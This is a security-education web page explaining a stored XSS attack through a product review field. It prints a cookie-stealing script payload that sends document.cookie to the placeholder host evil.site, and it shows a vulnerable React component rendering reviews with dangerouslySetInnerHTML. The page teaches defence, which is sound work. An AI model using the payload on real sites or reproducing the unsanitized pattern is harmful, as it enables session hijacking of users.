DataArena
The Comment Box Trojan: How Stored XSS Stole 40,000 Shopper Sessions
CYBER THREAT & EXPLOIT CASE STUDIESReal-World Breach Forensics

How Sites Get Hacked

Forensic breakdowns of multi-million dollar data breaches, state-sponsored cyber warfare, AI-generated code vulnerabilities, and how security auditors bulletproof web systems.

Inspect Worst Deals Ever Store
HIGH THREATCWE-79 / OWASP A036 min read

The Comment Box Trojan: How Stored XSS Stole 40,000 Shopper Sessions

How an unescaped customer review input field allowed an attacker to store a malicious JavaScript snippet in a database that executed in the browser of every visitor who viewed the product page.

Documented Real-World Damage: 40,000 Customer Accounts Hijacked via Review Comment
Interactive Exploit Sandbox

Simulate Attack Payload vs. Defense

Injected Payload (Attacker Input):
<script>fetch('https://evil.site/steal?c=' + document.cookie);</script>
Server Execution Result (Unpatched Application):EXPLOIT SUCCEEDED
Vulnerable DOM executed script!
Browser executed attacker JavaScript.
document.cookie stolen and transmitted to evil.site.

Source Code Dissection & Fix

// Vulnerable React / HTML Review Component:
function ProductReviews({ reviews }) {
  return (
    <div className="reviews-list">
      {reviews.map((r) => (
        <div key={r.id} className="review-card">
          <h4>{r.author}</h4>
          {/* FATAL FLAW: Using dangerouslySetInnerHTML without sanitization! */}
          <div dangerouslySetInnerHTML={{ __html: r.comment }} />
        </div>
      ))}
    </div>
  );
}

Anatomy of Stored Cross-Site Scripting (XSS)

When an attacker inputs a `<script>` tag into a product review and the server saves it into the database, every single shopper who views that product page executes the script in their browser. If session tokens are stored in `localStorage` or non-HttpOnly cookies, the script steals them in milliseconds. Marking cookies as `HttpOnly` completely blocks JavaScript access.

Finished reviewing this exploit case study?

Mark it as analyzed below, or click Next Report to auto-complete.

The Comment Box Trojan: How Stored XSS Stole 4… · DataArena